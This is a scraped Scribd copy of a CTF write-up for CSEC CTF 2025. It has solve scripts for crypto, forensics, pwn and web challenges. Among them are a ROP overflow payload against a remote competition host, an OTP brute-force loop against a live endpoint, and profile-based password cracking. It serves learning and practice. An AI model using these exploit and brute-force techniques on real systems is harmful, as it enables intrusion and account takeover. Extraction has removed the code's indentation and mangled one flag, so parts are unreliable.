0% found this document useful (0 votes)
13 views7 pages

CSEC CTF at 2025

The document outlines solutions to various Capture The Flag (CTF) challenges from CSEC CTF 2025, categorized into Crypto, Forensics, Pwn, Web, and Stego. Each challenge includes a brief description of the method used to derive the flag, along with the corresponding flag text. The document serves as a record of the techniques and tools employed to solve the challenges presented in the competition.

Uploaded by

mrgods.home
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
13 views7 pages

CSEC CTF at 2025

The document outlines solutions to various Capture The Flag (CTF) challenges from CSEC CTF 2025, categorized into Crypto, Forensics, Pwn, Web, and Stego. Each challenge includes a brief description of the method used to derive the flag, along with the corresponding flag text. The document serves as a record of the techniques and tools employed to solve the challenges presented in the competition.

Uploaded by

mrgods.home
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 7

CSEC CTF @ 2025

Team: bigga

1.Again
Category: Crypto
Solution: Derived RC4 keystream from a known chunk, then XORed it with the target cipher
to reveal the flag.
Flag: HTB{b4by_rc4_15_h3r3_f0r_y0u}

from Crypto.Cipher import ARC4

def derive_stream(cipher_known, plain_known):


return bytes(a ^ b for a, b in zip(cipher_known, plain_known))

def reveal(flag_ct, stream):


return bytes(a ^ b for a, b in zip(flag_ct, stream))

k_text =
bytes.fromhex("79de558663ade6ac9bd8353fe46fbf84b33dd928fac331e84e56bcec2c98"
)
plain_known = b"A"*14 + b"C"*16
stream = derive_stream(k_text, plain_known)
flag_cipher =
bytes.fromhex("70cb56bc40d8c59485eb174afa1fc998984de858e6e642d9526ccfda12")
print(reveal(flag_cipher, stream))

2. Deep Dive
Category: Forensics
Solution: Open xlsx in google sheets , view the hidden sheets then copy pasted them into a
file and used python to decode then used dcode to ROT13
Flag: HTB{why_it5_4lw4y5_f0r3n5uck5}

import base64
i = 0
prev = 0
for l in open("out.txt").readlines():
if len(l) < 8:
print(i,i-prev,l.strip())
prev=i
i += 1
data = "".join([l.strip() for l in open("out.txt").readlines() if len(l)
<8])
print(data)

3. TipTop
Category: Pwn
Solution: Crafted payload of padding plus gadget and function addresses to modify program
flow and invoke the target function.
Flag: HTB{wh4t_1f_s0m30n3_c0l0ur8l1nd_t0_wh1t3}

from pwn import *


elf = ELF('tiptop')
io = remote('4.240.104.200',6974)
payload = b'A'*72 + p64(0x401016) + p64(elf.sym['magiccolour'])
io.recvuntil(b'5. Orange\n')
io.sendline(b'4')
io.sendline(payload)
io.interactive()

4. Loussy 2FA
Category: Web
Solution: bruteforced OTP values against verify API after sending /send-otp with length = 2
Flag: HTB{L3NGTH_D0E5NT_MATT3R_0R_D03S_1T?}

import requests
url = "http://4.240.104.200:5003/verify-otp"
target_email = "[email protected]"
for otp_code in range(100):
payload = {
"email": target_email,
"otp": str(otp_code)
}
response = requests.post(url, json=payload).json()
if("error" not in response):
print(response)
break
6. Echoes of awa
Category: Crypto
Solution: Mapped tokens to bits, built a bitstring, then brute-forced the shift and added the
hex decoded suffix
Flag: HTB{N07_4ll_Cryp70_15_UnBr34k4bl3}

def decode(msg):
return "".join([chr(int(t.replace("awawawa","1").replace("awa","0")
[::-1],2)) for t in msg.strip().split(" ")])

ct = ""
pt = decode(ct)
for s in range(128):
cand = ''.join(chr((ord(c)-s)%128) for c in pt)
if("HTB" in cand):print(cand)

7. Ciao Detective 1
Category: Forensics
Solution: Parsed packet data field, base64-decoded hex, identified Fernet blobs, decrypted
with extracted key, then saved and inspected image to read flag.
Flag: HTB{a1c0hol_i5_bad_f0r_y0u}

import base64
from cryptography.fernet import Fernet

def process(lines, key):


f = Fernet(key)
for idx, ln in enumerate(lines):
try: data = bytes.fromhex(ln.strip()); f.decrypt(data)
except: continue
open(f"img{idx}.png","wb").write(base64.b64decode(f.decrypt(data)))

out = open('packet-data.txt').read().splitlines()
process(out, b'SwossJsjDe1x3CqJrht-iKhPWagx1bam6Q5zBI0R4nI=')

8. A Message From Professor


Category: Stego
Solution: Extracted red-channel second bit plane and reversed it
Flag:` HTB{P40fe$04 _$ma47!
!

9. RSA 1
Category: Crypto
Solution: Brute-forced e by XORing with given hex bytes , found E to be the key then
cracked with RsaCtftool
Flag: HTB{rsa_seems_cool_heh}

10. RSA 2
Category: Crypto
Solution: Applied CRT to combine c_i and n_i into M^e, then computed integer root
Flag: HTB{4n0th3r_e45y_p345y_rs4_qs}

from sympy import integer_nthroot, mod_inverse


from functools import reduce

N = reduce(lambda x,y: x*y, ns)

def broadcast(cs, ns):


total=0
for c,n in zip(cs, ns):
Ni, inv = N//n, mod_inverse(N//n, n)
total += c * Ni * inv
M4 = total % N
return integer_nthroot(M4, 4)[0]

print(long_to_bytes(broadcast(cs, ns)))

11. RSA 3
Category: Crypto
Solution: Found integers s1,s2 such that s1_e1 + s2_e2 = 1, combined c1^s1 and c2^s2
modulo n to reconstruct m.
Flag: HTB{c0mm0n_m0du1u5_4774ck_1337_1731}

from math import gcd


from Crypto.Util.number import inverse, long_to_bytes

def common_mod(n, c1, c2, e1, e2):


def egcd(a,b): return (1,0) if b==0 else (lambda x,y,g: (y, x-(a//b)*y,
g))(*egcd(b,a%b))
s1,s2,_=egcd(e1,e2)
part1 = pow(c1, s1, n) if s1>0 else pow(inverse(c1,n),-s1,n)
part2 = pow(c2, s2, n) if s2>0 else pow(inverse(c2,n),-s2,n)
return long_to_bytes((part1*part2)%n)

print(common_mod(n, c1, c2, 0x1337, 0x1731))

12. Crack IT
Solution: Iterated profile permutations through a custom generator and bruteforced to crack
the hash
Flag: HTB{5t0p_g3tt1n5_1nt0_my_l1f3_y0u_cr33p}

import os
from cupp import *
import subprocess
read_config("cupp.cfg")

for a in ['y','n']:
for b in ['y','n']:
for c in ['y','n']:
for day in range(12,30):
wifeb = f"{day:02d}041991"
profile = {
"name": "Akshay",
"surname": "Raj",
"nick": "",
"birthdate": "27041995",
"wife": "Priya",
"wifen": "riya",
"wifeb": wifeb,
"kid": "pihu",
"kidn": "pihu",
"kidb": "05052021",
"pet": "",
"company": "",
"words": ["Cecconi's","Cecconi","Cecconis"],
"spechars1": a,
"randnum": b,
"leetmode": c,
"spechars": [],
}
generate_wordlist_from_profile(profile)
subprocess.run(["john", "--wordlist=Akshay.txt",
"personal.hash"])
res= subprocess.run(["john", "--show",
"personal.hash"],capture_output=True )
if('1 left' not in res.stdout.decode()):
raise Exception()

13. Wrong
Solution: Custom RC4-based keystream with limited shuffling used to XOR-decrypt the
ciphertext.
Flag: HTB{1s_17_rc4_0r_1s_17_n07?}

class StreamCipher:
def __init__(self, seed):
self.state = self._prepare_state(seed)

def _prepare_state(self, seed):


"""Initialize the state array using the seed (similar to KSA in
RC4)."""
s = list(range(256))
pos = 0
for idx in range(256):
pos = (pos + s[idx] + seed[idx % len(seed)]) % 256
s[idx], s[pos] = s[pos], s[idx]
return s

def scramble(self, rounds=28):


"""Apply a custom transformation to the state array."""
a, b = 0, 0
for i in range(rounds):
a = (a + 1) % 256
b = (b + self.state[i]) % 256
self.state[a], self.state[b] = self.state[b], self.state[a]

def reveal(self, encoded):


"""Decrypt using the current state."""
return bytes(self.state[i] ^ encoded[i] for i in
range(len(encoded)))

def main():
# Custom key (seed) for encryption/decryption
seed_key = [0xad, 0xde, 0xde, 0xc0, 0xad, 0xde, 0xde, 0xc0]

# Encrypted data (possibly a flag or secret)


encoded_bytes = [
0x5a, 0xe3, 0xd9, 0x62, 0x22, 0x9f, 0x59, 0xc9,
0xe2, 0x18, 0xd1, 0x37, 0xe7, 0xf7, 0x3e, 0x66,
0xea, 0x88, 0x33, 0x44, 0x6c, 0x73, 0x85, 0x16,
0x5d, 0x6c, 0xef, 0xa3
]

# Decryption process
cipher = StreamCipher(seed_key)
cipher.scramble()
decoded = cipher.reveal(encoded_bytes)

print("Output:", decoded.decode(errors="replace"))

if __name__ == "__main__":
main()

14. Thala for a Reason


Solution: Mounted and parsed the AD1 image , Exported all available files. Among them
flag.txt contained the hash , cracking it and got the password then pdf gave a qr code which
led to the flag from reason.pdf, flag7.pdf had a fake

Flag: HTB{y0U_f0U4D_FT13_REASON}

You might also like